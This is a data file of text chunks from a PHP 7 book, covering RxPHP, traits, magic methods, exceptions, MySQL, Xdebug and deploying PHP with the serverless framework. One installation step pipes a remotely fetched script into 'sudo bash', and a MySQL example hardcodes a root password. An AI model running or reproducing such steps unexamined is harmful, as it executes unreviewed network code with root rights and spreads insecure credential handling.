blocks, in return, it allows greater expressiveness and unidirectional data flow, leading to cleaner and simpler code. In this chapter, we will take a closer look at the following sections: Similarities with event-driven programming Using RxPHP: Installing RxPHP Observable and observer Subject Operator Writing custom operator Non-blocking I/O Using React: Installing React React event loop Observable and event loop"},
    {"text": "Logging Logging Logging is an important aspect of every application. Knowing how to catch errors does not necessarily mean we are handling the faulty situation as best as we should. If we are not logging the right details, and passing them on to the right consumer, then we are not really handling the situation right. Let's consider the following catch and generate user message example: try { //... } catch (\\Exception $e) { $messages[] = __('We can't add this item to your shopping cart right now.'); } Let's consider the following example: <?php try { //... } catch (\\Exception $e ) { $this -> logger ->critical( $e ); $messages [] = __( \"We can't add this item to your shopping cart right now . \" ); } Both examples react to the exception by storing the message into a $messages variable, which is later shown on screen to the current user. This is great as the application does not crash, the user is shown what happened, and the application is allowed to execute. However, is it great? The examples are nearly identical, aside from one minor detail. The first example merely responds to the error and reacts to it in the moment. The second example uses the $this->logger->critical($e); expression to log the error, presumably, but necessarily, to a file. By logging the error, we make it possible for the consumer to review it later. The consumer is most likely a developer who might take a look into log files every now and then. Notice how the $messages array is not passed directly to the $e variable, rather, a custom message that fits the user situation. This is because the user should never be shown the level of detail we might pass onto our logs. The more details we pass to our log, the easier it gets to troubleshoot our application. By logging an entire exception instance object, in this case, we pretty much provide all the details the developer needs to know to try and prevent an error in the future. Thoughtfully used, logging can provide quality analytics insight upon which we might periodically reiterate over our codebase and prevent issues that might not be visible during initial development. Aside from logging errors, we could easily log other analytical, or otherwise important bits. The open source Elastic stack, available at https://www.elastic.co , enables us to reliably and securely take data from any source, in any format, and search, analyse, and visualize it in real time. The Kibana product, available at https://www.elastic.co/products/kibana , gives shape to our data through its interactive visualizations. Return type hints Return type hints Type hinting features are not limited to function parameters only; as of PHP 7, they expand to function return values as well. The same rules that apply to function parameters hinting, apply to function return type hinting. To specify a function return type, we simply follow the parameter list with a colon and the return type, as shown in the following example: function register(string $user, int $age) : bool { // logic ... return true; } Developers can still write functions with multiple conditioned return statements; its just that in this case, each of these return statements, when reached, will have to match the hinted return type, otherwise \\TypeError will be thrown. The function return type hints play nicely with super types. Let's take a look at the following example: class A {} class B extends A {} class C extends B {} function getInstance(string $type) : A { if ($type == 'A') { return new A(); } elseif ($type == 'B') { return new B(); } else { return new C(); } } getInstance('A'); #object(A)#1 (0) { } getInstance('B'); #object(B)#1 (0) { } getInstance('XYZ'); #object(C)#1 (0) { } We see that the function executes nicely for all three types. Given that B extends A directly, and C extends B , the function accepts them as the return value. Given the dynamic nature of PHP, function return types might seem like a step in the wrong direction at first, more so because a lot of PHP code out there already uses the PHPDoc @return annotation, which plays nicely with modern IDE tools, such as PhpStorm. However, the @return annotation is merely informative, it does not enforce an actual return type during runtime, and it really makes sense only with a powerful IDE. Using the function return type hints ensures that our functions return what we intended them to return. They do not stand in the way of PHP's dynamic nature; they merely enrich it from a function consumer point of use. Optimizing for High Performance Optimizing for High Performance Throughout the years, PHP has grown into a remarkable language we use to build our web applications. An impressive number of language features, alongside countless libraries and frameworks, make our job ever so easier. We often write code which encompasses several layers of stack without giving it a second thought. This makes it easy to overlook one of the most important aspects of every application--performance. While there are several aspects to performance that developers need to pay attention to, the end user is only interested in one - the time it takes for their web page to be loaded. This is really all that it comes down to. Nowadays, users expect their pages to load in less than 2 seconds. Anything more and we face decreased conversion, which often translates into serious financial loss when it comes to big e-commerce retailers: \"A 1 second delay in page response can result in a 7% reduction in conversions.\" \"If an e-commerce site is making $100,000 per day, a 1 second page delay could potentially cost you $2.5 million in lost sales every year.\" - kissmetrics.com In this chapter, we will address some of the areas of PHP that directly or indirectly impact the application performance and behavior: Max execution time Memory management File uploads Session handling Output buffering Disabling debug messages Zend OPcache Concurrency"},
    {"text": "Summary Summary Throughout this chapter, we took a detailed look into each and every magic method PHP has to offer. The ease of their use is equally impressive as the power they bring to the language. Simply naming our class methods appropriately, we were able to tap into pretty much every aspect of an object state and behavior. While most of these magic methods are not something we will be using on a day-to-day basis, their existence empowers us with some nifty architectural styles and solutions that are not that easily possible with other languages. Moving forward, we will step into the realm of CLI and the more elusive use of PHP. Tracing Tracing The tracing feature of Xdebug can be easily turned on with the xdebug.auto_trace=1 option. With our Ubuntu installation, we add this to the /etc/php/7.0/apache2/conf.d/20-xdebug.ini file as follows: zend_extension=xdebug.so xdebug.remote_enable=1 xdebug.auto_trace=1 Once the file has been modified, we need to make sure the Apache server is re started : service apache2 restart While xdebug.auto_trace is the required option to turn on the tracing feat ure, other related options include the following: xdebug.collect_assignments xdebug.collect_includes xdebug.collect_params xdebug.collect_return xdebug.show_mem_delta xdebug.trace_enable_trigger xdebug.trace_enable_trigger_value xdebug.trace_format xdebug.trace_options xdebug.trace_output_dir xdebug.trace_output_name xdebug.var_display_max_children xdebug.var_display_max_data xdebug.var_display_max_depth S upplemental information about individual tracing configuration options can be found at https://xdebug.org/docs/execution_trace . Unlike th e debugging feature, whi ch we control from IDE or text editor, we don't get to contro l tracing. By default, the tracing feat ure creates a different trace.%c file under the /tmp directory each time an application is run. What this means in the context of web application is that, each time we refresh the page in the browser, the tracing feature creates a trace.%c file for us. Our specific example application, once executed, results in a trace file, much like the following screenshot: The output itself is relatively easy for a developer t o read and understand. Surely, this gets a bit clunky when it comes to large applications, as we end up with a large trace file. Still, knowing the bits of code we are targeting, we can search the file and find the needed occurrences of the code. Let's assume that we are looking for the use of the number_format() function throughout our code. A quick search for number_format would point us to line 22 of Category/View.php , with an execution time next to it. This is a valuable piece of information for the overall debugging effor ts."},
    {"text": "Operator Operator The observable model of RxPHP allows us to treat streams with simple and composable operations. Each of these operations is done by an individual operator. The composition of operators is possible because operators themselves mostly return observable as a result of their operation. A quick peek into the vendor\\reactivex\\rxphp\\lib\\Rx\\Operator directory reveals 48 different operator implementations, classified in several different categories Creating o Transforming observables Filtering observables Combining observables Error-handling operators Observable utility operators Conditional and Boolean operators Mathematical and aggregate operators Connectable observable operators The map , filter , and reduce methods are likely the most known and popular operators, so let's start our example with them: <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\Rx\\Observable; use \\Rx\\Observer\\CallbackObserver; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); // Generator function function xrange( $start , $end , $step = 1 ) { for ( $i = $start ; $i <= $end ; $i += $step ) { yield $i ; } } // Observer $observer = new CallbackObserver( function ( $item ) { echo $item , PHP_EOL ; } ); echo 'start' , PHP_EOL ; // Observable stream, made from iterator/generator Observable:: fromIterator (xrange( 1 , 10 , 1 )) ->map( function ( $item ) { return $item * 2 ; }) ->filter( function ( $item ) { return $item % 3 == 0 ; }) ->reduce( function ( $x , $y ) { return $x + $y ; }) ->subscribe( $observer ); echo 'end' , PHP_EOL ; $loop ->run(); We started off by writing a simple generator function called xrange() . The beauty of the generator here is that the xrange() function will always take the same amount of memory, regardless of the range we choose. This gives us a great foundation to play with the ReactiveX operators. We then created a simple $observer , utilizing only its $onNext callable whilst ignoring the $onError and $onCompleted callables for the purpose of this section. We then created an observable stream from our xrange() function, passing it a range of 1 to 20. Finally, we got to the point where we hooked the map() , filter() , reduce() , and subscribe() method calls to our observable instance. If we were to execute this code now, the resulting output would be number 36 . To understand where this is coming from, let's take a step back and comment out the filter() and reduce() methods: Observable::fromIterator(xrange(1, 10, 1)) ->map(function ($item) { return $item * 2; }) // ->filter(function ($item) { // return $item % 3 == 0; // }) // ->reduce(function ($x, $y) { // return $x + $y; // }) ->subscribe($observer); The output now is as follows: start 2 4 6 8 10 12 14 16 18 20 end The map() function transforms the emitted items by applying a function to each item. In this case, that function is $item * 2 . Now, let's go ahead and restore the filter() function, but leave the reduce() function commented out: Observable::fromIterator(xrange(1, 10, 1)) ->map(function ($item) { return $item * 2; }) ->filter(function ($item) { return $item % 3 == 0; }) // ->reduce(function ($x, $y) { // return $x + $y; // }) ->subscribe($observer); Knowing now that the filter() function will receive the map() function output stream ( 2 , 4 , 6 , ... 20 ), we observe the following output: start 6 12 18 end The filter() function transforms the emitted items by emitting back only those items that pass a predicate test. In this case, the predicate test is $item % 3 == 0 , which means, it returns items evenly divisible by 3 . Finally, if we restore the reduce() function, the result comes back as 36 . Unlike map() and filter() , which accept a single emitted item value, the reduce() function callback accepts two values. A quick change to the body of the reduce() callback clarifies what's going on: ->reduce(function ($x, $y) { $z = $x + $y; echo '$x: ', $x, PHP_EOL; echo '$y: ', $y, PHP_EOL; echo '$z: ', $z, PHP_EOL, PHP_EOL; return $z; }) This gives output as follows: start $x: 6 $y: 12 $z: 18 $x: 18 $y: 18 $z: 36 36 end We can see that $x comes in as a value of the first emitted item, whereas $y comes in as a value of the second emitted item. The function then applies sum computation on them, making the return result now a first emitted item in the second iteration, basically, giving (6 + 12) => 18 => (18 + 18) => 36 . Given the sheer number of operators supported by RxPHP, we can imagine the real-life complexities we get to solve in an elegant way by simply composing a number of operators into a chain, as follows: $observable ->operator1(function () { /* ...*/ }) ->operator2(function () { /* ...*/ }) ->operator3(function () { /* ...*/ }) // ... ->operatorN(function () { /* ...*/ }) ->subscribe($observer); If existing operators are not enough, we can easily write our own by extending Rx\\Operator\\OperatorInterface ."},
    {"text": "Using __wakeup() Using __wakeup() The topic of serializable objects would not be complete without the serialize() method counterpart--the unserialize() method. If the serialize() method call triggers the object's __sleep() magic method, it is logical to expect there is a similar behavior for deserialization. Rightfully so, calling the unserialize() method upon a given object triggers its __wakeup() magic method. The intended use of __wakeup() is to reestablish any resources that might have been lost during serialization and perform other reinitialization tasks. Let's take a look at the following example: <?php class Backup { protected $ftpClient; protected $ftpHost; protected $ftpUser; protected $ftpPass; public function __construct($host, $username, $password) { $this->ftpHost = $host; $this->ftpUser = $username; $this->ftpPass = $password; echo 'TEST!!!' . PHP_EOL; $this->connect(); } public function connect() { $this->ftpClient = ftp_connect($this->ftpHost, 21, 5); ftp_login($this->ftpClient, $this->ftpUser, $this->ftpPass); } public function __sleep() { return ['ftpHost', 'ftpUser', 'ftpPass']; } public function __wakeup() { $this->connect(); } } $backup = new Backup('test.rebex.net', 'demo', 'password'); $serialized = serialize($backup); $unserialized = unserialize($serialized); var_dump($backup); var_dump($serialized); var_dump($unserialized); The Backup class accepts host, username, and password information through its constructor. Internally, it sets the core PHP ftp_connect() function to establish a connection towards the FTP server. A successfully established connection returns a resource we store into a protected $ftpClient property of a class. Since resources are not serializable, we made sure to exclude it from the __sleep() method return array. This ensures that our serialized string does not contain the $ftpHost property. We have further set a $this->connect(); call within the __wakeup() method to reinitialize the $ftpHost resource. The overall example results in the following output: object(Backup)#1 (4) { [\"ftpClient\":protected]=> resource(4) of type (FTP Buffer) [\"ftpHost\":protected]=> string(14) \"test.rebex.net\" [\"ftpUser\":protected]=> string(4) \"demo\" [\"ftpPass\":protected]=> string(8) \"password\" } string(119) \"O:6:\"Backup\":3:{s:10:\"*ftpHost\";s:14:\"test.rebex.net\";s:10:\"*ftpUser\";s:4:\"demo\";s:10:\"*ftpPass\";s:8:\"password\";}\" object(Backup)#2 (4) { [\"ftpClient\":protected]=> resource(5) of type (FTP Buffer) [\"ftpHost\":protected]=> string(14) \"test.rebex.net\" [\"ftpUser\":protected]=> string(4) \"demo\" [\"ftpPass\":protected]=> string(8) \"password\" } The __wakeup() method sort of takes on the role of constructor during the unserialize() function call. Because the object's __construct() method is not called during deserialization, we need to be careful to implement the necessary __wakeup() method logic so that the object can reconstruct any resources it might need."},
    {"text": "Traits Traits We mentioned previously that PHP is a single inheritance language. We cannot use the extends keyword to extend multiple classes in PHP. This very feature is actually a rare commodity only a handful of programming languages support, such as C++. For better or worse, multiple inheritance allows some interesting tinkering with our code structures. The PHP Traits provide a mechanism by which we can achieve these structures, either in the context of code reuse or the grouping of functionality. The trait keyword is used to declare a Trait, as follows: <?php trait Formatter { // Trait body } The body of a Trait can be pretty much anything we would put in a class. While they resemble classes, we cannot instantiate a Trait itself. We can only use the Trait from another class. To do so, we employ the use keyword within the class body, as shown in the following example: class Ups { use Formatter; // Class body (properties & methods) } To better understand how Traits can be helpful, let's take a look at the following example: <?php trait Formatter { public function formatPrice( $price ) { return sprintf ( '%.2F' , $price ); } } class Ups { use Formatter; private $price = 4.4999 ; // Base shipping price public function getShippingPrice( $formatted = false ) { // Shipping cost calc... $this->price = XXX if ( $formatted ) { return $this ->formatPrice( $this -> price ); } return $this -> price ; } } class Dhl { use Formatter; private $price = 9.4999 ; // Base shipping price public function getShippingPrice( $formatted = false ) { // Shipping cost calc... $this->price = XXX if ( $formatted ) { return $this ->formatPrice( $this -> price ); } return $this -> price ; } } $ups = new Ups(); echo $ups ->getShippingPrice( true ); // 4.50 $dhl = new Dhl(); echo $dhl ->getShippingPrice( true ); // 9.50 The preceding example demonstrates the use of trait in a code reuse context, where two different shipping classes, Ups and Dhl , use the same trait. The trait itself wraps a nice little formatPrice() helper method that formats the given price to two decimal fields. Like classes, traits have access to $this , 1 which means we could easily rewrite the previous formatPrice() method of the Formatter trait as follows: <?php trait Formatter { public function formatPrice() { return sprintf ( '%.2F' , $this -> price ); } } This, however, severely limits our trait use, as its formatPrice() method now expects a $price member, which some of the classes using the Formatter trait might not have. Let's take a look at another example where we use traits in a grouping of functionality context: <?php trait SalesOrderCustomer { public function getCustomerFirstname() { /* body */ } public function getCustomerEmail() { /* body */ } public function getCustomerGender() { /* body */ } } trait SalesOrderActions { public function cancel() { /* body */ } public function complete() { /* body */ } public function hold() { /* body */ } } class SalesOrder { use SalesOrderCustomer; use SalesOrderActions; /* body */ } What we did here was nothing more than cut and paste our class code into two different traits. We grouped all of the methods related to possible order actions into a single SalesOrderActions trait, and all methods related to order customer into the SalesOrderCustomer trait. This brings us back to the possible-does-not-necessarily-mean-preferable philosophy. Using multiple traits can sometimes lead to conflicts, where the same method name can be found in more than one trait. We can use the insteadof and as keywords to mitigate these types of conflicts, as shown in the following example: <?php trait CsvHandler { public function import() { echo 'CsvHandler > import' . PHP_EOL ; } public function export() { echo 'CsvHandler > export' . PHP_EOL ; } } trait XmlHandler { public function import() { echo 'XmlHandler > import' . PHP_EOL ; } public function export() { echo 'XmlHandler > export' . PHP_EOL ; } } class SalesOrder { use CsvHandler, XmlHandler { XmlHandler:: import insteadof CsvHandler; CsvHandler:: export insteadof XmlHandler; XmlHandler:: export as exp; } public function initImport() { $this ->import(); } public function initExport() { $this ->export(); $this ->exp(); } } $order = new SalesOrder(); $order ->initImport(); $order ->initExport(); //XmlHandler > import //CsvHandler > export //XmlHandler > export The as keyword can also be used in conjunction with the public , protected , or private keywords in order to change the method visibility: <?php trait Message { private function hello() { return 'Hello!' ; } } class User { use Message { hello as public ; } } $user = new User(); echo $user ->hello(); // Hello! To make things even more interesting, traits can be further composed of other traits, even supporting the abstract and static members, as shown in the following example: <?php trait A { public static $counter = 0; public function theA() { return self::$counter; } } trait B { use A; abstract public function theB(); } class C { use B; public function theB() { return self::$counter; } } $c = new C(); $c::$counter++; echo $c->theA(); // 1 $c::$counter++; $c::$counter++; echo $c->theB(); // 3 Aside from being non-instantiatable, traits share many features with classes. While they provide us with the tooling for some interesting code structuring, they also make it easy to violate the single responsibility principle. The overall impression of trait usage is often that of extending regular classes, which makes it hard to find the right use case. We can use them to describe characteristics that are common to many, but not essential. For example, jet engines are not essential on every airplane, but a lot of airplanes have them, whereas others might have propellers."},
    {"text": "Understanding microservices Understanding microservices The term microservices denotes an architectural style of building applications taking the form of loosely coupled services. These independently deployable services are tiny applications most often built via a web service technology. While one service can communicate via SOAP, the other can be do so via REST, Apache Thrift, or something else. There is no standard to specify the firm requirements here. The general idea is to take a large monolithic application and slice it down into several smaller applications, that is, services, but doing so in a manner that serves a business goal. The following diagram tries to visualize this concept: Popularized by the likes of Netflix and Amazon, the microservices style sets out to s olve a few key challenges of modern application development, some of which include the following: Development team size : This is a single microservice that can be developed by a relatively small team Diversity of development skills : These are different services that can be written in different programming languages Change/upgrade : These smaller pieces of code are easier to change or update Integration and deployment : These smaller pieces of code are easier to deploy Easier for newcomers : These smaller pieces of code are easier to catch up with Business capabilities focus : This individual service code is organized around specific business capability Scalability : Not everything scales equally; smaller chunks of code can be scaled more easily Fault handling : This single faulty service does not bring an entire application down Technology stack : This is less dependency on fast-chaining technology stacks At the same time, they induce several new challenges, some of which include the following: Service communication : This is an extra effort involved around service communication Distributed transactions : These are challenges caused by business requirements spanning across several services Testing and monitoring : These are somewhat more challenging than with monolith applications Network latency : Every microservice introduces an extra bit of network latency Fault tolerance : These are microservices that have to be designed for failure from the ground up That being said, building microservices is all but an easy task. Going monolith first , with a carefully decoupled and modular structure, may be a better starting point for most of the applications. Once a monolithic grows to the point where its complexities begin to affect the way we manage it, then it's time to consider slicing it into microservices. The prototype pattern The prototype pattern The prototype pattern is about creating new objects by means of cloning them. This is quite a concept, as we are no longer using the new keyword to create new objects. The PHP language provides a special clone keyword to assist with object cloning. The following example demonstrates a possi ble prototype pat tern implementation: <?php class Logger { public $channel = 'N/A' ; } class SystemLogger extends Logger { public function __construct() { $this -> channel = 'STDIN' ; } public function log ( $data ) { return sprintf ( 'Logging %s to %s.' , $data , $this -> channel ); } public function __clone() { /* additional changes for (after)clone behavior? */ } } // Client use $systemLogger = new SystemLogger(); echo $systemLogger ->log( 'test' ); $logger = clone $systemLogger ; echo $logger ->log( 'test2' ); $logger -> channel = 'mail' ; echo $logger ->log( 'test3' ); // Logging test to STDIN. // Logging test2 to STDIN. // Logging test3 to mail. Normally, all it takes to clone an object is to use an expression such as $clonedObj = clone $obj; . This, however, does not give us any control over the cloning process. PHP objects can be heavy, with lots of members and references. Sometimes, we would like to impose certain limitations on the cloned object. This is where the magic __clone() method comes in handy. The __clone() method triggers after the cloning process is done, which is something to keep in mind for possible cleanup code imp lementations."},
    {"text": "Rethrowing exceptions Rethrowing exceptions Rethrowing exceptions is a relatively common practice in development. Sometimes, we wish to catch an exception, look into it, do a bit of an extra logic, and then rethrow the exception back so that the parent catch block might handle it further. Let's take a look at the following example: <?php class FileNotExistException extends Exception {} class FileReadException extends Exception {} class FileEmptyException extends Exception {} $file = 'story.txt'; try { try { $content = file_get_contents($file); if (!$content) { throw new Exception(); } } catch (Exception $e) { if (!file_exists($file)) { throw new FileNotExistException(); } elseif (!is_readable($file)) { throw new FileReadException(); } elseif (empty($content)) { throw new FileEmptyException(); } else { throw new Exception(); } } } catch (FileNotExistException $e) { echo 'Caught FileNotExistException.'; } catch (FileReadException $e) { echo 'Caught FileReadException.'; } catch (FileEmptyException $e) { echo 'Caught FileEmptyException.'; } catch (Exception $e) { echo 'Caught Exception.'; } finally { echo 'Finally.'; } Here, we defined three simple exceptions-- FileNotExistException , FileReadException , and FileEmptyException . These correspond to three different faulty outcomes we might expect when dealing with our file. We then added some logic around the file_get_contents function call, trying to wrap it in the try...catch blocks. The file_get_contents function results in Boolean false if the file cannot be read. Knowing that, and knowing that empty function call results in false if the file is found empty, we can easily check if the file is alright or not in a single if (!$content) statement. There are several possible scenarios once the general Exception is thrown. The first and the most obvious one is the missing file. Surprisingly, even with the try...catch blocks in place, if the file is missing, PHP would output the following: Warning: file_get_contents(story.txt): failed to open stream: No such file or directory in /index.php on line 13 Caught FileNotExistException.Finally. We can clearly see that the core PHP language Warning has been raised, along with triggering the proper catch and finally block. Ideally, we would like to get away with the warning output. One possible way is to use the error control operator--the at sign ( @ ). It suppresses both errors and warnings. This is quite dangerous and should be used with the utmost care. Generally speaking, errors and warnings are triggered to be handled, not to be suppressed. However, in this case, we might just call it justified, as we are wrapping everything in try...catch blocks. The last general catch block is merely there to catch an unexpected faulty state that is not covered by our three custom exceptions. Setting up sample data Setting up sample data Before we move onto querying MySQL, let's go ahead and set up some sample data. MySQL provides a sample database called Sakila, which we can download from the official MySQL site, as follows: cd ~ wget http://downloads.mysql.com/docs/sakila-db.tar.gz tar -xzf sakila-db.tar.gz cd sakila-db/ Once downloaded and unpacked, this should give us the following three files: Moving forward, we need to see how we can import sakila-schema.sql and sakila-data.sql . Luckily, MySQL provides several ways to do this. A quick look at the sakila-schema.sql file shows the following entries at the top of the file: DROP SCHEMA IF EXISTS sakila; CREATE SCHEMA sakila; USE sakila; This means that the sakila-schema.sql file will create a schema (database) for us, as well as set it as currently used database. This is an important bit to understand, as not all of the .sql / backup files will have this, and we will be forced to do this part manually. Knowing how sakila-schema.sql handles everything we need to import it, the following commands show three different approaches we can use: // Either this command mysql -uroot -p < sakila-schema.sql // Either this command mysql -uroot -p -e \"SOURCE sakila-schema.sql\" The second command uses the -e ( --execute ) argument to pass SQL statements to the server. We could have easily used the mysql tool interactively and then executed SOURCE sakila-schema.sql within it. With the schema in place, we can go ahead and import the actual data: // Either this command mysql -uroot -p < sakila-data.sql // Either this command mysql -uroot -p -e \"SOURCE sakila-data.sql\" If we now use the mysql tool interactively, we can check if the database is imported successfully: show databases; use sakila; show tables; This should give us the following output: Check out https://dev.mysql.com/doc/sakila/en/ for more information about the Sakila sample database. Deleting Deleting Again, we can use the prepare() , bind_param() , and execute() methods to handle record deleting, as shown here: <?php try { // Report on all types of errors mysqli_report ( MYSQLI_REPORT_ALL ); // Open a new connection to the MySQL server $mysqli = new mysqli('127.0.0.1', 'root', 'mL08e!Tq', 'sakila'); // Prepare some teat address data $paymentId = 500 ; // Prepare an SQL statement for execution $statement = $mysqli ->prepare( 'DELETE FROM payment WHERE payment_id = ?' ); // Bind variables to a prepared statement as parameters $statement ->bind_param( 'i' , $paymentId ); // Execute a prepared Query $statement ->execute(); // Close a prepared statement $statement ->close(); // Close database connection $mysqli ->close(); } catch (mysqli_sql_exception $e ) { // Output error and exit upon exception echo $e ->getMessage(); exit ; }"},
    {"text": "Using the serverless framework Using the serverless framework The AWS Lambda is a compute service provided by Amazon Web Services ( AWS ). What makes it specific is that it lets us run code without provisioning or managing any servers whatsoever. The auto-scaling features enable it to withstand thousands of requests per second. With an added benefit of pay-per-execution pricing, this service caught some traction among developers. Over time, the serverless framework was developed to make the use of the AWS Lambda service easy. The serverless framework is available at https://serverless.com . Assuming we have an AWS account created, and a clean installation of the Ubuntu server at hand, let's go ahead and outline the steps needed to set up and utilize the serverless framework. Before we can deploy applications on the AWS Lambda, we need to make sure we have a user with the right set of permissions. AWS permissions are quite robust, in that we can tune them per resource. The serverless framework uses several other AWS resources aside from AWS Lambda itself, such as S3, API Gateway, and a few others. To make our demonstration simple, we will first create an IAM User with Administrator access: We start by logging into the AWS console at https://aws.amazon.com/console/ . Once logged in, we need to proceed under the My Security Credentials | Users screen: To add a new user, we click on the Add user button. This triggers a four-step process, as shown in the following screenshot: We provide two pieces of information here, User name and Access type . The Programmatic access type is what we need for our serverless integration. Clicking on the Next: Permissions button gets us to the following screen: There are a few ways we can attach permissions to the user here. To keep things simple, we click on the Attach existing policies directly box, and type in AdministratorAccess in the Policy type field filter. We then simply check the AdministratorAccess policy and click on the Next: Review button, which gets us to the following screen: Here, we merely review the current progress, and finally click on the Create user button, which gets us to the following screen: We now have Access key ID and Secret access key , the two pieces of information required by the serverless framework. Creating users with full administrative permissions is generally considered a bad security practice. Normally, we would create users with a bare minimum of needed permissions. With these steps out of the way, we can move forward with setting up the serverless framework itself. The serverless framework runs on top of Node.js. Assuming we have an instance of a clean Ubuntu server, we can set it up by following these steps: Install Node.js with the following console commands: curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - sudo apt-get install -y nodejs Once Node.js is installed, the npm console tool becomes available. The serverless framework itself is available as an npm package at https://www.npmjs.com/package/serverless . Running the following console commands should get it installed on our server: sudo npm install -g serverless serverless --version With the serverless framewor k now installed, we need to set the console environment variables: AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY . These get used b y serverless during de ploy: export AWS_ACCESS_KEY_ID=<--AWS_ACCESS_KEY_ID--> export AWS_SECRET_ACCESS_KEY=<--AWS_SECRET_ACCESS_KEY--> We can now address the bits and pieces related to PHP. The official serverless framework example uses an AWS lambda that runs a PHP function, which can be found at https://github.com/ZeroSharp/serverless-php . We can install it via the following console command: serverless install --url https://github.com/ZeroSharp/serverless-php This should give us an output much like the following screenshot: The serverless install command merely pulls the content of the Git repository into a local directory. Within the newly created serverless-php directory, there is an index.php file within which our PHP application code resides. Strangely enough, there are bits and pieces here that, at first, look like they have nothing to do with PHP, such as handler.js . A quick look into the handler.js reveals something interesting, which is that the AWS Lambda service does not actually run the PHP code directly. The way it works is that handler.js , which is a Node.js app, spawns a process with an included php binary file. In a nutshell, index.php is our application file, the rest is a necessary boilerplate. As a quick sanity check, let's trigger the following two commands: php index.php serverless invoke local --function hello These should give us the following output, indicating that serverless is able to see and execute our function: Finally, we are ready to deploy our PHP application to the AWS Lambda service. We do this by executing the following command: serverless deploy This simple command puts in motion a series of events that result in several different AWS services being utilized within the AWS console. Opening the link listed under endpoints shows that our application is publicly available: This was made possible by the automatically created API entry under the Amazon API Gateway service, as shown in the following screenshot: The API Gateway bridges the GET /hello URL action with the AWS Lambda serverless-php-dev-hello application. A look under the AWS Lambda screen that reveals this application: The CloudFormation stack has also been created, as shown in the following screenshot: The S3 bucket has also been created, as shown here: The CloudWatch log group has also been created, as shown in the following screenshot: In a nutshell, serverless deploy kicked off quite a few services for us, thus giving us time to focus more on actual application development. Although AWS Lambda only charges a fee when a code is run, some of the other services in the mix might be different. This is why it is important to keep an eye on everything that gets automatically triggered for us. Luckily for us, serverless also provides a cleanup command, which is written as follows: serverless remove This command does an overall cleanup by removing all of the services and resources it previously created. Creational patterns Creational patterns In this section, we will take a look at the creational patterns, such as the singleton, prototype, abstract factory, and builder patterns."},
    {"text": "Installation Installation Assuming that we have a fresh Ubuntu 17.04 (Zesty Zapus) installation, installing the complete LAMP stack and Xdebug extension is easy via the following commands: apt-get update apt-get -y install lamp-server^ apt-get -y install php-xdebug sudo service apache2 restart Once this process is done, opening http://localhost/index.html in our browser should give us a default Apache page. Now, let's go ahead and do some permission changes: sudo adduser user_name www-data sudo chown -R www-data:www-data /var/www sudo chmod -R g+rwX /var/www Be sure to replace user_name with the name of the actual user on the system. The reason for doing this permissions update is to make it possible for a user's NetBeans IDE to access the /var/www/html/ directory, where our project will be located. Once these commands are executed, we need to log out and log in, or restart the computer for permissions to kick in. We can now execute the following command on the console and then open http://localhost/index.php in order to confirm whether PHP and Xdebug are up and running: rm /var/www/html/index.html echo \"<?php phpinfo(); ?>\" > /var/www/html/index.php This should give us an output indicating the presence of the Xdebug extension, much like the following screenshot: To this point, we have merely installed the extension, but haven't really enabled any of its three core features: debugging, tracing, and profiling. Before we go ahead with debugging, let's quickly install NetBeans IDE. This will make our debugging efforts much easier. We will first need to download NetBeans for PHP from https://netbeans.org/downloads/ . Once downloaded and unpacked, we can execute the following command: chmod +x netbeans-8.2-php-linux-x64.sh ./netbeans-8.2-php-linux-x64.sh It is worth noting that the use of NetBeans IDE here is completely optional. We could have easily used one of the other free or even commercial solutions. Now would be a good time to open NetBeans IDE; click on File | New Project | Categories [PHP] | Projects [PHP Application with Existing Sources] and point it to our /var/www/html/ directory, as shown in the following screenshot: Once we fill in the required data on the Name and Location screen, clicking on Next brings us to the Run Configuration setup: Clicking on the Finish button finishes the project setup, and we should now be able to see our index.php file: Finally, let's go ahead and pull in our sample application by executing the following console commands: rm /var/www/html/index.php cd /var/www/html/ git init git remote add origin git@github.com:ajzele/MPHP7-CH16.git git pull origin master The NetBeans IDE should be able to instantly pick up these changes in its Projects tab. To this point, we haven't really actually done any configuration or setup related to Xdebug's debugging, tracing, or profiling components. We merely installed LAMP stack, Xdebug itself, NetBeans IDE and pulled in the sample application. Now, let's go ahead and look into the debugging component of Xdebug. TypeError TypeError PHP 7 brought forth the function type parameters and function return types . This, in turn, implied the need to properly handle errors around their misuse. TypeError was introduced to target these errors. The TypeError class has no methods of its own, they are all inherited from the parent Error class, as per the following class synopsis: ParseError extends Error { final public string Error::getMessage (void) final public Throwable Error::getPrevious (void) final public mixed Error::getCode (void) final public string Error::getFile (void) final public int Error::getLine (void) final public array Error::getTrace (void) final public string Error::getTraceAsString (void) public string Error::__toString (void) final private void Error::__clone (void) } There are at least three possible error scenarios that throw TypeError , which are as follows : The type of argument passed to a function does not match the declared type The function return value does not match the declared function return type An invalid number of arguments is being passed to a built-in PHP function The following code demonstrates the wrong function argument type: <?php declare(strict_types = 1); function hello(string $name) { return \"Hello $name!\"; } try { echo hello(34); } catch (TypeError $e) { echo 'Caught: ' . $e->getMessage(); } Here, we defined the hello() function that expects to receive a single string argument. However, the function is passed to the integer value. The declare(strict_types = 1); expression is required if we want the catch block to actually catch TypeError . The preceding example results in the following output: Caught: Argument 1 passed to hello() must be of the type string, integer given, called in... The following code demonstrates the wrong function return type: <?php declare(strict_types = 1); function hello($name): string { return strlen($name); } try { echo hello('branko'); } catch (TypeError $e) { echo 'Caught: ' . $e->getMessage(); } Here, the defined hello() function has no specific argument types defined, but it does have a function return type defined. To simulate the faulty scenario, we changed the body of the function to return the integer value rather than the string. Same as with the previous example, the strict_types = 1 declaration was needed to trigger TypeError , resulting in the following output: Caught: Return value of hello() must be of the type string, integer returned The following code demonstrates the invalid number of arguments that are passed to a built-in PHP function: <?php declare(strict_types = 1); try { echo strlen('test', 'extra'); } catch (TypeError $e) { echo 'Caught: ' . $e->getMessage(); } Here, we are calling the strlen() function with two parameters. Though this core PHP function itself is defined such that it accepts only one parameter, the strict_types = 1 declaration turns the standard warning into TypeError , thus triggering the catch block."},
